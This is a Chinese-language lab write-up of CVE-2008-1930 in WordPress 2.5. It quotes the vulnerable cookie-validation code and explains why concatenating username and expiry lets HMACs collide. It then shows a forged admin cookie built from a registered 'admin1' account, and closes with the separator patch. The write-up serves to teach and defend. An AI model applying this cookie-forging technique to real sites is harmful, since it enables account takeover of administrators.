CVE-2008-1930

WordPress 2.5 中的 Cookie 身份验证方法依赖于包含 USERNAME 和 EXPIRY_TIME 的拼接字符串,生成的哈希允许攻击者使用拼接字符串结果相同的用户名来伪造 Cookie ,比如注册 admin 开头的用户名(admin1, admin2, …),以获得 admin 用户的权限。

环境配置

虚拟机1

  • Debian x64
  • NAT Network

虚拟机2

  • Kali Linux
  • NAT Network

必需修改虚拟机2的 hosts 文件,否则之后 WordPress 的页面渲染和跳转会有问题

漏洞代码

以下代码位于 wp-includes/pluggable.php 中第 470 行至 499 行,用于检验用户身份认证的 Cookie 。

  • 首先,如果传入的 Cookie 为空则检索客户机上的 Cookie AUTH_COOKIE ;如果没有 Cookie 且客户机的 Cookie AUTH_COOKIE 为空,则返回 false ,身份验证失败
  • 如果有 Cookie ,利用 | 符号将其分割为 3 个值
    • $username :用户名
    • $expiration :Cookie 的失效时间
    • $hmac :密钥散列消息认证码
  • 考虑请求时间,然后再检查 Cookie 是否失效
  • 检查 HMAC 是否正确
  • 验证成功后检查 $username 是否为当前登录的用户 $user
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function wp_validate_auth_cookie($cookie = '') {
if ( empty($cookie) ) {// 检查 Cookie
if ( empty($_COOKIE[AUTH_COOKIE]) )
return false;
$cookie = $_COOKIE[AUTH_COOKIE];
}

list($username, $expiration, $hmac) = explode('|', $cookie);// 分割 Cookie

$expired = $expiration;

// Allow a grace period for POST and AJAX requests
if ( defined('DOING_AJAX') || 'POST' == $_SERVER['REQUEST_METHOD'] )
$expired += 3600;// 考虑请求时间

if ( $expired < time() )// 检查是否过期
return false;

$key = wp_hash($username . $expiration);// 加密密钥,基于 WordPress SECRET_KEY,并使用 $username 和 $expiration 生成
$hash = hash_hmac('md5', $username . $expiration, $key);// 生成 HMAC

if ( $hmac != $hash )
return false;

$user = get_userdatabylogin($username);
if ( ! $user )
return false;

return $user->ID;
}

漏洞的产生是因为错误地使用了 HMAC 函数,输入字符串是 $username . $expiration 将用户名和 Cookie 的失效时间拼接起来,从而导致 HMAC 可能产生碰撞

1
$hash = hash_hmac('md5', $username . $expiration, $key);
$username $expiration $username . $expiration
admin1 1353464343 admin11353464343
admin 11353464343 admin11353464343

而函数中使用的 $key 是通过以下语句生成,也是直接利用拼接后的字符串

1
$key = wp_hash($username . $expiration);

因此用户名不同也可能使得 $username . $expiration 相同,攻击者可以通过碰撞获得 HMAC 以仿冒 admin 用户。

漏洞利用

注册名称为 admin1 的用户,这里 WordPress 的密码硬编码为 pentesterlab

1
http://vulnerable/wp-login.php?action=register

登录并查看获得的 Cookie

现在利用这个 Cookie 来仿冒 admin 用户

1
2
3
4
5
# admin1
admin1|1588313831|012345b037811dcaefc3fd734dbe058a

# admin
admin|11588313831|012345b037811dcaefc3fd734dbe058a

漏洞修复(Patch)

在拼接 $username$expiration 时候插入一个 | 作为分隔符号,生成密钥 $key 时同理,这样就无法篡改 Cookie 了

1
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

参阅